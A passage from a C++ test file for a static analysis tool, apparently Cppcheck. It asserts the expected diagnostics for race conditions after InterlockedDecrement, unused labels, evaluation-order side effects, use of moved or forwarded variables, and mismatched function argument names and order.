ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n 